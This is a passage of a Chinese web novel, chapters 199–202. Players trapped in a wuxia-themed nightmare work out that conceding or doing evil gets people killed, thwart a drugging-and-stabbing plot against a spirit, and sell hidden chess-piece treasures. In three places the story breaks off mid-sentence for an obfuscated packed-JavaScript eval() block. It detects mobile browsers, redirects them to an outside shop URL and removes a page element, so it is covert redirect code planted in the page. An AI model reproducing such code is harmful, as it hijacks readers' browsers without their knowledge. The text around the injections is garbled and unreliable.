自从女友失踪后,沉默男人整个人陷入恍惚中,做什么事都心不在焉。 大约八点左右,所有参赛队伍在顾恩派掌门的指引下,进入了作为比赛场地的山谷。 心急的弟子已经消失在山林中,只有俞小澄这一队还慢悠悠地在林中散步。 “曾师兄,你说昨晚失踪的人,究竟为何会被魔教掳走呢?魔教掳人的标准到底是什么?” 路上,俞小澄问曾师兄,试图从他的回答中找出梦境的规则。 曾师兄做出一副思考状,严肃地回道:“大概是容易被魔教策反的人吧。” 见曾师兄没有逃避这个问题,俞小澄赶紧追问:“那什么样的人容易被魔教策反呢?” 曾师兄说:“心志不坚定的人,容易心生恶念,进而被魔教迷惑,走入歧途。” 恶灵既然这么说了,也就意味着昨夜失踪的人全都违反了这条规则。 可是,睡个觉而已,怎么就能分出心智坚定不坚定呢? 实在想不明白的俞小澄偷瞄着曾师兄,随后装出天真的模样,问:“曾师兄觉得我的心志是否坚定呢?” 曾师兄当真打量着俞小澄,满意地点了点头,夸道:“昨日比试,小师妹一点优势都没有,却勇于挑战自我,面对他人恶意,仍能坚持自我,这种精神本就值得夸奖,怎么不算心志坚定的表现喃!” 从曾师兄的话中,俞小澄终于明白,对于禁忌触发的判定,根本就不在夜里,而是白日里的比试环节。 高瘦女子的“失踪”极有可能印证了俞小澄最初的猜测——不可认输。 俞小澄并不太记得新住客的长相,只能依靠服装区分NPC与住客,她依稀记得方才参赛队伍集合时,加上自己这一队的三人,住客只剩六人了。 昨日除了高瘦女子,还有另外三人在比试开始时认输,其中两人所在的队伍被淘汰,去了后山,另一人因为队伍胜出而留在了山庄里。 如今她只能确定,留在山庄里的住客少了两人,却不能十分肯定,另一个失踪的住客就是认输的那个。至于后山情况如何,她只能拜托招财去查探一番。 如果后山的住客全都失踪了,那基本就可以肯定,认输一定属于违反梦境规则。 如此思考着,她便已向招财交代清楚,然后看着招财飞向了后山。 但是除了住客外,NPC基本没有认输的情况,然而似乎也有NPC在昨晚加入了失踪大军的队伍。 这一点她就有些理不清缘由了。 恰好此时范正昂走到了她身边,低声对她说:“曾师兄所谓的心志坚定,莫非是不作恶?” “嗯?不是不认输吗?为啥是不作恶?” 俞小澄一时没有反应过来,她只在曾师兄的话中听出了“不认输”这个关键词,至于“不作恶”,似乎并没有这样的指向。 范正昂摇了摇手,解释道:“不,我不是说曾师兄对你的评价,只是方才我发现,昨天比试时,向对手下毒致人死亡的那名弟子似乎不在了。” “真的么?” 俞小澄因为惊讶瞪大了眼睛,仿佛在迷途中偶然瞥见了一道指向出路的标记,连心跳都加速了。 范正昂十分肯定地点点头,表示因为这件事影响挺坏,所以他特别留意了那名弟子,当时只是为了今后尽量避开这种阴险小人,没想到竟有了意外收获。 俞小澄有时候不得不佩服范正昂的小心谨慎,总能在不经意间带来意外的惊喜。 范正昂的话仿佛是一根鱼竿,将鱼钩垂进俞小澄的脑海中,于万千的记忆中,钓出了一句话,一句曾勇对她说过的话。 那时她问曾师兄,对他而言最重要的是什么? 曾师兄答了一句令她摸不着头脑的话——邪不胜正,善恶有报。 曾师兄还说过:“不管是赢得比试胜利,还是落败去后山闭关,最终的目的都是为了打败魔教,匡扶正义。” 一切线索似乎都串联起来了。 “原来这就是规则……”俞小澄低声呢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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范正昂后面的话没说出口,如今只有他与俞小澄知晓住客与恶灵的关系,自然也就能觉察出,曾师兄便是俞小澄一直在梦境中寻找的其中一人。 他没什么可安慰的话,只是一脸严肃地问俞小澄:“你打算拿他如何?” 俞小澄自然明白范正昂的想法,他一定会担心俞小澄因私情而舍不得除掉曾师兄这个恶灵,这对他来说不是好事。 “放心,我一定会消灭恶灵,只是与平时的方式或有不同,需要的时间也会更久,所以,在我除掉他以前,范先生你得自己努力存活。” “明白,为了活着,我会尽力。如果俞小姐有什么需要帮忙的事,可以随时告诉我。” 两人心照不宣地相视一笑,并非朋友,亦非盟友,不过是在无尽的噩梦中,两个唯一知晓真相的人,相互成全罢了。 就在二人谈论着梦境规则时,在他们没有注意到的地方,曾师兄靠近了六神无主的沉默男人,附耳低语几句话,沉默男人就像着了魔,不管不顾地冲了出去。 当俞小澄和范正昂发现时,他早已消失在视野中。 199. 梦境(八) “怎么回事?田先生人呢?怎么丢下队伍一个人跑了?”范正昂一边左顾右盼寻找着人影,一边不解地问曾师兄。 范正昂口中的田先生,正是那个女朋友失踪的沉默男人,俞小澄对新住客的信息一概不知,而身为旅店新秩序的领袖,范正昂对所有住客的个人信息都了如指掌。 曾师兄无奈地摇了摇头,解释道:“我刚只是随便安慰了他几句,不知道他受了什么刺激,急冲冲地跑了。” “哦?你跟他说什么了?”俞小澄似笑非笑地看着曾师兄。 她心中有种莫名的直觉,恶灵又开始为玩家设下陷阱了,只等着有人自投罗网,恐怕今夜依然会有人因为违反规则而消失。 可这一场比试,不存在弃权,队伍之间虽存在竞争,但不至于相互使绊子,各凭本事寻找被掌门藏在山中的宝物罢了,俞小澄实在想不出有何触犯禁忌的理由。 曾师兄一脸坦然,说:“我只是安慰他,失踪的人还有办法寻回。” 俞小澄感觉这说法有一股浓浓的阴谋味道,但她并没有直接表现出自己的质疑,为了稳住恶灵,她强装出一副又惊又喜的样子,问:“真的吗?有什么办法能找回失踪的人?” 真能找回就怪了,俞小澄认为,失踪的人大概率是死了。 曾师兄回答:“失踪的人是被潜入山庄的魔教细作掳走了,一夜之间那么多人一起失踪,不可能在完全不被发现的情况下,带着人离开山庄,说不定人还藏在山庄某处,只要找出魔教细作,说不定能找回失踪的弟子。” 俞小澄愣住了,似乎明白了恶灵的意图。 他在煽动弟子之间的相互怀疑,其他队伍中多半也会传出这样的言论。 这种言论对于俞小澄这样的人或许没什么实际作用,可对于像田先生这般心中有牵挂的人而言,会是一剂解药,挽救他濒临崩溃的心态,也是一剂毒药,引导他坠入死亡的深渊。 正在说话间,远处山林中传来一阵骚动,看来,已经有人落入了陷阱之中。 范正昂有些着急前去查看出了什么事,但俞小澄对骚乱并没太大兴趣,他也只能按耐住好奇心,等待俞小澄的下一步指示。 俞小澄跟随着曾师兄的步伐,往骚动传来的方向走去,二人不急不慢,仿佛只是顺道罢了。 “曾师兄,你说魔教派人潜入山庄究竟意欲何为啊?若是想瓦解四大门派,直接对四位掌门动手,不是更省事吗?”俞小澄一脸好奇地问道。 曾师兄淡然一笑,眼神仿佛在取笑俞小澄太天真了,然后摆出洞悉一切的神情,说:“对掌门动手,只能让人产生两种情绪,要么愤怒反击,要么害怕回避,却引不出他人骨子里藏的恶意。” 俞小澄顺着话题继续问下去:“引出他人的恶意又能如何?” 曾师兄笑道:“为了胜利。” 俞小澄皱了皱眉,问:“那如何算我们胜利?消灭魔教?” 曾师兄脸上的笑透着一丝意味深长的含义:“不,邪不胜正。” 这便是恶灵创造的梦境规则,依然是阵营主题,但结局从一开始就已经确定。 阵营分为四大门派与魔教两方,而之所以没有住客被分入魔教一方,只是因为一旦在比试的过程中透露出屈服于魔教的胆怯,或是趋向于魔教的恶意,那便是转入魔教阵营。 而结果是入邪者必死无疑。 通关这场梦境的关键根本不在于是否赢下最终的胜利,亦或者打败魔教找出细作,要想活下去,只能从头到尾保持恶灵认可的正义与善良。 若不是在旅店的梦境中听到这样的设定,俞小澄或许还会觉得凛然正气,可一想到创造出这场梦境的人,本身就因为有罪来到了旅店,一切变得滑稽起来。 “那么,这世上有没有什么东西,能粉碎一切邪恶呢?”俞小澄想了想,一本正经地提问。 曾师兄见她一副孺子可教的模样,毫不吝啬地说:“若你当真这么想坚守正义,那就努力赢得比试的最终胜利吧,成为最优秀的弟子,赢得前任武林盟主留下的绝世宝剑,那可是斩灭无数邪门歪道,整个江湖正义的象征。” 曾师兄说得慷慨激昂,仿佛那是他一生的向往。 俞小澄微微扬起嘴角,心中对招财吩咐道:“去吧,查查这把绝世宝剑,说不定就是记忆之门的钥匙。” 招财点点头,立马向山庄的方向飞去。 三人在林中穿梭,不久后终于抵达了骚乱发生的场地。 只见几队人马正围在一起,成相互对峙之势,似乎对于魔教细作身份的猜疑已经在人群中散播开来,在每个人的心中埋下一颗种子,此刻正破土而出,疯狂生长,将整个气氛变得异常诡异。 “谁是细作最好自己出来承认,若是被发现,必叫你生不如死!” “哼,你别贼喊捉贼,细作就是你吧?” “你们碧暗宫的人最爱使毒计害人,与魔教也算是臭味相投,说不定细作就在你们之中。” “狗嘴里吐不出象牙,你们德岙谷才是魔教的走狗!” …… 互相的猜疑逐渐激化了门派之间的矛盾,从相互指责到门派骂战。 方才跑得没了人影的田先生,此时正倒在人群中央,蜷缩着身子,抱着小腿在地上来回打滚,嘴里不停怒骂诅咒,显然对掳走女友的人恨之入骨。 看样子是因为毫无证据的指控引来怒火,继而被人揍了一顿。 曾师兄见状赶紧上前稳住众人情绪,并从地上扶起了受伤的人,言语关切,依旧是曾经那般乐于管闲事,令俞小澄心中感慨万千。 当然,如果这场祸事不是他蓄谋的,俞小澄兴许会上前帮他一把,如今,她只是事不关己地在一旁看戏。 在曾师兄介入后,不管是本门的弟子,还是别派的弟子,都不得不卖他几分薄面,未再继续争执,重新开启寻宝之旅。 这场风波看似平息,实则不然,只是表面归于平静,而水面之下依旧暗潮涌动。 田先生因脚受伤,暂时无法四处走动,于是曾师兄寻了处山洞,将其安排在洞中休息,而他自己则带着俞小澄和范正昂继续在山谷中寻找掌门藏的宝物。 据曾师兄所说,掌门一共藏了八件宝物在山里,也就意味着只有八支队伍可以晋级下场比试,也只有八人能在本场比试中获得分数。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14023828|133719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 至于宝物是什么,曾师兄表示他也不知道,只道:“既然是宝物,必然一见便知并非山中之物。” 说了等于没说,俞小澄也没打算大海捞针,寻找连样子都不知道的宝物,她作势敷衍地在林子里转悠,实则只是在等招财回来。 她走着走着,忽觉四周没了人声,脚下也起了一层白茫茫的浓雾,整片山林仿佛只剩她一人,连肩上的进宝都不知所踪。 这一刻,俞小澄知道自己又走进某种幻境之中。 一个人影从不远处的一棵树后走出,脸上戴着面具,身穿霁安门的弟子服,就那么不远不近地与俞小澄保持着距离,带着三分傲慢开了口。 “我同你做个交易如何?你若杀了曾师兄,我便以山中宝物相赠。” 俞小澄微微挑了挑眉,心中嘀咕:“让我去杀恶灵?这么明显的陷阱,你当我傻啊!” 她表面不动声色,装出一副为难的样子说:“就算我想,以我这三脚猫功夫,如何能斗得过大师兄,这不是让我去送死吗?” 那人从怀中掏出一个圆滚滚的小瓷瓶,笑道:“只要你答应,我自能助你得手,这是我岐卬教研制的迷香,只需让他闻上一闻,片刻便会浑身无力,届时,不就只能任你宰割了?” 俞小澄继续表演一个懵懂无知的蠢钝弟子,娇滴滴地说:“曾师兄人那么好,我怎么能做出伤害他的事呢?绝对不行!” 对方见她不上套,又继续诱惑道:“你难道愿意一直活在他的阴影下吗?看着他出尽风头,赢得最优秀弟子头衔,被掌门器重,抢走你所有功劳?” 俞小澄有些忍不住想翻白眼,用这些话术引诱顾恩派其他弟子或许还有用,对她这样的玩家,半点吸引力都没有。 “哦,我愿意,曾师兄是我偶像,我就想看他带领顾恩派走向辉煌的明天!” 俞小澄的口号喊得响亮,听得对方一愣,一时有些语塞,尴尬地挠了挠头,转身就想走。 那人刚走两步,俞小澄便出声将人叫住,然后一脸质疑的神情问道:“你说你要以山中宝物相赠,真的假的?你不会是空手套白狼,骗人的吧?” 那人一听,又感觉有戏,认为俞小澄嘴上说得冠冕堂皇,实际心里还是放不下虚名,于是带着三分讥笑回道:“我自是知晓宝物藏在何处,才提出与你交易。” “哼,空口无凭,要我怎么相信你?”俞小澄双手环在胸前,一副不会轻信他人的姿态。 那人说:“事成之后,我便将藏宝地点告诉你。” 俞小澄冷笑一声:“届时你随便指个地方糊弄我,我找谁说理去?” “这……” 对方似乎没想到会有人讨价还价,一时懵了。 俞小澄倒没想让他真的拿出什么实证,既然是恶灵的圈套,那他必定真的知晓宝物藏处,她此时如此做作的行为,不过是想搞清楚宝物究竟是何物。 于是俞小澄适时地给了个台阶,道:“你且说说掌门藏的宝物是什么,我好判断你的话是真是假。” 那人丝毫没有怀疑,顺着台阶便往下走,言辞肯定地说:“掌门在山中藏了8枚棋子,四黑四白。” 200. 梦境(八) 当俞小澄听到棋子这两个字时,她简直想冲回山庄将掌门那老头子暴揍一顿。 哪家正常人会将棋子说成宝物? 敢情他老人家就缺这八枚棋子下棋是吧? 俞小澄表面维持着风平浪静,内心一时电闪雷鸣,恨不得将这雷劈到掌门头顶。 “呵呵……不会是掌门不慎在山谷中遗落了八枚棋子,借四大门派弟子比试之名,让大家帮他找回失物吧?这宝物,你说它合理吗?” 对方并没有对她的质疑做出反应,而是催促她做出决断,究竟要不要达成这场交易。 俞小澄将心思从对宝物的不满上收回,冲着不远处的面具男人微微一笑,回道:“不用了,谢谢!” “你不想赢得……” “不必了,太麻烦了。” “……” 面具男人这次是彻底死心了,被俞小澄的反复无常气得直跺脚,愤懑地转身消失在树后。 林中的浓雾就此散去,人声重新回归这片山谷,俞小澄立刻叫了进宝。 她笑眯眯地拜托道:“进宝,帮姐姐在山里找找棋子好不好?一共八枚,四黑四白。” 或许是觉得这场梦境并不恐怖,进宝没有反对,但好奇地问她:“姐姐为何要找八枚,一支队伍不是只能拿一枚吗?” 俞小澄露出狡黠的笑,道:“姐姐想做个好心人。” 进宝不明所以,没有过多追问,扔下俞小澄便飞进了林中。 俞小澄闲来无事,便在林中溜达,无意中瞥见一个不应该出现在林中的身影,定睛一看,竟是原本应该在山洞里休息的田先生。 只见田先生一瘸一拐地在林中走动,视线四处探索,似乎在寻找着什么。 “他什么时候也有闲心找宝物了?” 俞小澄一边自言自语,一边悄悄跟在了田先生身后。 俞小澄悄无声息地跟着田先生走了许久,直到视野里出现曾师兄的身影,田先生的步伐一顿,看了看手里的东西,仿佛下定了什么决心,一瘸一拐地往曾师兄方向走去。 曾师兄全程专注于寻找宝物,拨草上树,一刻不歇,听到身后脚步声,他才转过头。 看见来人是田先生,曾师兄一脸关切,让对方回洞中休息,寻找宝物之事尽管交给他来做,并表示一定会带领大家晋级下一场比试。 这话说得情真意切,如果不是知晓眼前的男人是恶灵,俞小澄恐怕会有些感动。 田先生明显心不在焉,对于曾师兄说的话只是敷衍点头。 接着,俞小澄看见田先生将手中的东西递至曾师兄面前,或许是因为心虚,说话的声音有点不自然。 他说:“我、我刚在洞里发现个东西,看上去不像原本就应该在山洞里,说不定就是大家正在寻找的宝物。” 曾师兄面露惊讶,连忙凑到近处,想看清田先生手中的物品是否是掌门藏在山里的宝物。 俞小澄心中有些疑惑,正想着田先生的运气似乎太逆天了点,远远瞥见田先生手中的物件有些眼熟。 一个圆滚滚的白瓷瓶,正立在田先生的手心上。 见田先生用袖子捂住口鼻,俞小澄瞬间想起那眼熟的东西是什么。 就在不久前,于浓雾弥漫的山林中,一个戴着面具穿着霁安门弟子服的男人,就是举着这样一个小瓷瓶,想要与俞小澄进行一场交易。 据面具男人所说,那瓶中装着的是岐卬教研制的迷香,闻上一闻,片刻便会浑身无力。 刚回想起来,还来不及做出反应,俞小澄就看见曾师兄身子摇摇晃晃地站不稳,挣扎片刻无果,最终瘫倒在了地上。 紧接着,俞小澄看见田先生另一只手从背后摸出了一把匕首。 小瓷瓶被盖上瓶盖随意一扔,匕首出鞘,田先生浑身颤抖,尖声吼道:“你别怪我,我只是想救回小璐!” 俞小澄猜测,田先生口中的小璐大抵就是高瘦女子,那么显而易见,岐卬教细作蛊惑的目标并非俞小澄一个。 眼见田先生手里的匕首往曾师兄的胸口扎去,俞小澄心觉不妙,高声吼道:“别动手!” 田先生被这声突然出现的叫声吓得浑身一抖,手上动作也随之一滞,一脸惊恐地扭头望向俞小澄。 俞小澄拔腿就往二人方向赶去,可惜距离太远了些,田先生回过神,杀心再起,她实在没能力赶上阻止。 就在她觉得万事休矣时,不知从何处蹿出一道人影,一脚飞踹在田先生身上,将人踹倒在地,匕首瞬间脱手,飞出一米远。 等俞小澄赶到时,只见范正昂将田先生压在地上,而田先生歇斯底里地挣扎吼叫。 至于本应该成为被害人的曾师兄,此刻软弱无力地瘫倒在地,看向俞小澄和范正昂的眼神中不是被救的感激,而是欣赏与心满意足。 俞小澄心中一阵恶寒,感觉若不是范正昂及时出现,就真的要让恶灵得逞了。 “你怎么在这儿?”俞小澄问范正昂。 范正昂偷瞟了一眼曾师兄,似有所顾忌,轻描淡写地回道:“哦,刚找宝物时,突然看见田先生出了山洞,感觉他状态不太对劲,怕他又出事,便一路跟了过来。” 见他有意隐瞒了什么信息,俞小澄也不追问,只道自己也是如此,随后便转向田先生,询问他为何要对曾师兄下狠手。 其实不用田先生解释,俞小澄都能猜到,岐卬教的细作肯定以他女友为诱饵,诓骗他来杀曾师兄。 田先生的回答也的确如此,他表示刚才在山洞,突然有个德岙谷的弟子戴着面具寻上了门,自称是岐卬教的人,只要田先生杀掉曾师兄,岐卬教便会释放他女友。 只怪岐卬教开出的条件太具诱惑力,田先生二话没说便答应了,于是才有了这一出。 “我也没有办法,只有这样才能救小璐……你们为何要阻止我……我们才是同一阵营,他不过是个NPC罢了,你们是不是疯了?如果小璐出事,我不会放过你们的!” 田先生的怒吼充斥在林中,将绝望化作了怒火。 大约等了半刻钟,田先生吼累了,终于放弃了挣扎。迷香的药效也过了,曾师兄恢复了行动的自由。 俞小澄提议让曾师兄将田先生先带回山洞看押起来,寻找宝物的事就交给她与范正昂。 对于她的安排,曾师兄没有提出异议。 等道曾师兄带着田先生走远了,范正昂才凑近到俞小澄身旁,道:“田先生遇到的面具人,我也遇到了,不过穿的是碧暗宫弟子服,同样让我杀掉曾师兄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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俞小澄轻轻叹了口气,耐着性子解释:“当罪恶发生时,视而不见会不会也是一种恶呢?你和我都是跟着田先生到了这里,恰好目睹了田先生袭击曾师兄这一幕,如果当时我们没有阻止,你猜今晚出事的人里会不会有你我二人?” 经过俞小澄这番说明,范正昂心有余悸地咽了咽唾沫,甚至怀疑这是恶灵为他们设下的连环圈套。 范正昂的救人之心,最终救下的是他自己。 就在二人谈话时,林中传出一阵响动,似乎有人正在缓慢靠近,脚步听上去慌乱无比,嘴里还虚弱地唤着“救命”二字。 二人循着声音望去,不一会儿,一个脚下步伐虚浮的霁安门弟子出现的视野里,一身狼狈,嘴角带血,一手捂着胸口,一手撑着树干,时不时往身后张望,似乎是在逃避着什么人的追捕。 “该死……”俞小澄低声骂道,“这场游戏是没完了,现在我们面前出现任何人,我们都不得不救了……” 就在俞小澄说这句话时,林中的受伤弟子抬眼看见了二人,仿佛看到了活下去的希望,加快步伐往二人方向走来。 然而,距离受伤弟子四五十步之遥,一个同样身穿霁安门弟子服的人,提着剑朝受伤弟子冲了过去。 201. 梦境(八) 求救的人往俞小澄和范正昂二人方向走来,身后还有个杀气腾腾的人紧追不舍,看得二人一阵慌乱。 俞小澄埋头在地上找了一圈,最后抓起一截枯树枝,递到范正昂面前。 俞小澄:“见死不救也是死,打不过也是死,我的援军还没到,只能靠你拖延时间了!” 范正昂看着被塞到手里的枯树枝,惊得眼珠险些掉出来,哭笑不得地说:“大姐,对面拿剑,我拿树枝怎么打?” 俞小澄点点头,觉得他说的在理,于是冲着求救的人迎了上去,她一把扶住因受伤脚下步伐有些不稳的弟子,带着人往树后藏了藏,随后将其手中佩剑从剑鞘中抽出,扔给跟在她身后的范正昂。 “这下公平了。”俞小澄冲范正昂竖起了大拇指。 范正昂白眼都要翻到天上去了,一脸无奈地举着剑,做出应战的架势。 俞小澄倒不是真想让范正昂上去拼命,范正昂的拳脚功夫大概率不是江湖中人的对手,她只是希望对方能有所忌惮。 果然,见有人前来管闲事,追击的人放慢了步伐,在不远不近的距离停下,保持着可攻可守的姿态。 “这是我霁安门的事,你们休要多管闲事!”穷追不舍的男子举剑叫嚣着。 范正昂不敢露怯,强装出一副泰然处之的样子,回呛道:“这不巧了嘛,我好像也是霁安门弟子,算不得闲事。” 对面男子一阵语塞。 俞小澄从树后站了出来,帮腔道:“你杀得了一个,杀得了我们所有人吗?你现在离开还来得及,否则,我们必将你杀害同门一事公之于众,看你还怎么在霁安门立足。” 话虽说得英勇无畏,但俞小澄心里实际上慌得不行,唯恐对面瞧出她和范正昂只是虚张声势,然后回一句:“那我今天就把你们仨全杀了!” 如果真走到这一步,俞小澄也只能希望范正昂能接下一招半式,拖上一时半会儿,因为她此时正在心中呼唤招财进宝回来救急。 然而,对面那人只是一脸错愕地望着俞小澄和范正昂,茫然反问:“我何时杀害同门了?” 俞小澄和范正昂不约而同指了指倒在树后的受伤男子。 “说什么鬼话呢!我只是要他身上的宝物,何时要取他性命?你俩别乱造谣!” 追击的男子矢口否认,俞小澄和范正昂将信将疑地看向树后受伤男子,只见受伤男子同样一脸惊讶,捂着胸口一阵咳嗽道:“哦,没那么严重,他要抢我找到的宝物,一直追着我不放。” 俞小澄指了指他一身的狼狈样,还有脸上的伤,问:“你都被他打这样了,还不严重吗?” 受伤男子立刻羞红了脸,低声解释:“这伤……咳……刚被追得慌了神,没看路,不小心摔坑里了。” 俞小澄瞬间想问候这两人全家,搞得她一阵紧张,以为自己又掉进了恶灵的陷阱,不得不拼命保全落难的那一方,谁知根本与岐卬教没有半毛钱关系,他二人只是单纯地为了争抢宝物罢了。 “你找到宝物了?”俞小澄上下打量着受伤男子。 此刻才注意到他怀中鼓鼓囊囊,捂住胸口也不是因为受伤,不过是护住藏在怀里的东西罢了。 受伤男子立刻警惕起来,小心翼翼从地上站了起来,与追击他的人,还有俞小澄二人,形成了三方对峙的局面。 俞小澄只觉好笑,心道:你可真看得起我,我还能抢你不成? 恰在此时,受到俞小澄呼唤的进宝从林子里迅速飞出,直奔俞小澄而来,停在俞小澄面前,紧张地观察着周围情况,关切地问道:“姐姐没事吧?是恶灵要害你吗?要不要进宝附身?” 俞小澄摇了摇头,话题一转便问她有没有找到掌门藏在山里的棋子。 进宝一脸不辱使命的表情,将八个小香囊塞进俞小澄衣兜里,回道:“进宝全找到了,四黑四白,全藏在香囊里。” “八个?”俞小澄一愣,扭头看向了受伤男子。 如果进宝找齐了所有宝物,那受伤男子找到的又是什么? 俞小澄疑惑不已,心中一顿盘算,笑着对受伤男子说:“这位师兄,我可以帮你拦下追你的人,但你得让我看一眼你找到的东西,我也好对藏在山中的宝物有个概念,后续找起来也容易些。” 受伤男子经过一番权衡利弊,自知靠一人之力很难逃脱追击,如果有俞小澄二人帮他拦下后面的人,他便可以趁机逃回山庄交差。 追击的弟子一听不乐意,提着剑向受伤男子靠近,刚走两步又被范正昂举着剑拦了下来。 追击弟子气急,怒骂二人多管闲事。 受伤男子见状,从怀中抽出了一根鞭子,那样式与碧暗宫弟子所使用的一致。 “这……是宝物?” 俞小澄嘴角抽搐着,心中不免生疑,究竟是自己被岐卬教的细作骗了,还是受伤男子捡错了宝物? 受伤男子只给他们看了一眼,又急切地将鞭子收回怀中,语气十分肯定地说:“我在草丛里找到的,碧暗宫的兵器怎么可能随便出现在这种地方?想来你派掌门借了各派兵器,当作宝物藏于山里。” 这理由听上去合情合理,甚至比俞小澄衣兜里的那八枚棋子更合乎情理。 受伤男子说完这些话,便拱手告辞,并让俞小澄守诺,拦住与他同队的弟子。 看着受伤男子转身离开,追击弟子心中万分着急,对俞小澄和范正昂怒目而视,语气凶狠地威胁道:“你二人若不闪开,别怪我不客气。” 话音未落,追击弟子便已经摆出了进攻架势。 范正昂哪儿会用剑,只能将剑横在身前,当做防身的武器。 俞小澄急忙挥手阻止追击弟子的下一步动作,说:“师兄别急,那根本不是什么宝物,你追也只是浪费时间。” 追击弟子半信半疑,攻势暂缓,道:“你莫不是觉得我好骗?如果那不是宝物,又怎会出现在山谷之中?” 范正昂脑子明显比这些NPC转得快,不客气地回怼道:“霁安门弟子进山还带了佩剑,那为何不能是碧暗宫弟子随身携带的鞭子?” “这……”追击弟子有些答不上来,思考片刻,还是觉得事有蹊跷,强词夺理道,“碧暗宫弟子没理由将自己的鞭子随意扔弃。” 范正昂随口道:“说不定是不小心遗失的呢?” 说完这句话后,他自己也意识到有多离谱,但是他不能认输,认输便稳不住眼前这名弟子,他可没有自信能带着俞小澄全身而退。 追击弟子大笑起来,讥讽道:“也就顾恩派的夯货会将随身兵器遗失!随身兵器于习武之人而言,如同性命,丢弃兵器,无异于丢弃性命。” 他话音刚落,俞小澄便冷冷抛出了另一种可能性:“如果有碧暗宫的弟子在山谷里遇害了呢?” 追击弟子本想嘲笑俞小澄危言耸听,可 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“我也是为大家考虑嘛,要在偌大山谷中寻找连样子都不知道的宝物,那多辛苦啊!我喃,从师门听到点小道消息,所以很快就找齐了所有宝物。我们队伍只需一件,剩余七件自然可以分给其他队伍,只是我这辛苦费是不是……” 追击弟子立刻听出她言下之意,心中也打起了小算盘,问:“你想要什么?” “放心,我要的不多,两枚金币买一件宝物。” 范正昂目瞪口呆,看着俞小澄一本正经地跟NPC谈生意,实在佩服得五体投地。 追击弟子想也没想便答:“行!” 生意谈妥后,俞小澄先带着范正昂和追击弟子去了山洞。 为了安全,她和范正昂不能在山谷中久待,就怕一不小心又落入恶灵的陷阱,所以她打算带范正昂先回山庄交任务。 可她手上有八件宝物这个消息,她还需要传递给“买家”,思前想后,她将这个任务直接交给了身为恶灵的曾师兄,反正他如何都不可能出事。 俞小澄:“曾师兄你不会怪我赢得这次比试的胜利吧?” 曾师兄:“怎么会?小师妹如此有上进心,我高兴还来不及。” 俞小澄:“还有,所有宝物都已经在我手里的事,不能不告诉其他师兄师姐师弟师妹,可我的三脚猫功夫,如果不小心遇上岐卬教细作,铁定就没命了,所以有劳曾师兄跑一趟了,告诉他们回山庄,先到先得。” 曾师兄:“这是自然。” 轻松搞定古道热肠的曾师兄,俞小澄便让范正昂押上田先生,跟着追击弟子返回了山庄。 顾恩派掌门正站在山庄门口,早他们一步回到山庄的受伤弟子此时正拿着鞭子在一旁发呆,似乎怎么也不敢相信找到的宝物是错误的。 俞小澄便当着追击弟子的面,双手捧着一个香囊,递至掌门面前,掌门捋了捋胡须,满意地点了点头,收下了香囊,从里面倒出一枚白色的棋子。 这一次,追击弟子不得不信了,赶紧掏出两枚金币,趁着后面的人还没有追上来,从俞小澄手里购入一个香囊,顺利地拿下了获胜分数。 之后,山谷中的弟子闻讯赶来,俞小澄秉承着先到先得的理念,将剩下的香囊以两枚金币一个的价格,卖给了其他弟子,至于他们之间再有纷争,她就不用再操心了。 202. 梦境(八) 同俞小澄预想的一样,从山谷回来的人明显少了数人,全都不知去向,几乎涵盖了每个门派,每支队伍。 一问同行之人是否见过那些不知所踪的弟子,人人皆道是分头寻找宝物,所以从未遇上,兴许又是岐卬教的细作所为,又将人掳走了。 随后,此事便不了了之了,即便每支队伍人员减少,也改变不了四大掌门想要继续通过弟子比试决出武林盟主的心意。 俞小澄心中忍不住吐槽:“你们自己听听,说的是人话吗?如果真是魔教上门掳走四大门派弟子,这都能忍?还不立马召集弟子杀到岐卬教去?恐怕根本就没有什么魔教,就是你们自己搞的鬼吧!” 对于梦境的诡谲,俞小澄已经吐槽到心累了,不管怎么说,这里终究不是现实,一切全凭造梦者所想。 每一场梦境都是恶灵心底最理想的世界,存在着他们自以为是的逻辑,那就是这个世界的规则,从中多少能读出恶灵扭曲的世界观。 经过这场荒诞的寻宝比试,剩下的队伍只有八支,人员更是零散,不是缺一人就是缺两人。 至于混在各门派弟子中的六名住客,此时全都活着,其中只有一人因为队伍中没人抢到宝物而被淘汰去了后山,剩下的人无不是为又通关一场比试而沾沾自喜。 俞小澄看见范正昂又拿出了领袖的风范,主动关心起不在同队的两名住客。 不过三人只是简单聊了几句,似乎就不欢而散了。 等到范正昂丧气地走回来,俞小澄忍不住调侃道:“你这领袖当得可真憋屈,还不如学我,一个人逍遥自在不好吗?” “你真觉得自在吗?”范正昂一副欲言又止的模样。 一句普普通通的反问,却像一根刺扎进俞小澄心里,隐隐作痛,她面色沉静如无风无浪的海面,不想让人看到一丁点情绪。 “当然。”俞小澄轻巧地吐出两个字。 范正昂缓缓吐出一口气,轻声说道:“如果真觉得自在,你又为何始终将自己封闭在一个人的世界里呢?我留在旅店是为了活着,那你呢?” 俞小澄没想到范正昂会突然跟自己聊起这样沉重的话题,她已经许久不去想这些事情,自从吴樊祐消失以后,她的世界便只剩下自己了。 为何要留在旅店呢? “为了救出朋友。” “为了逃避罪恶。” “为了骗自己,说不定哪一天,我会在梦境中再见到那个人呢?” 仿佛有无数个自己,站在自己面前,对自己说着宽慰的话,直到她自己都相信了。 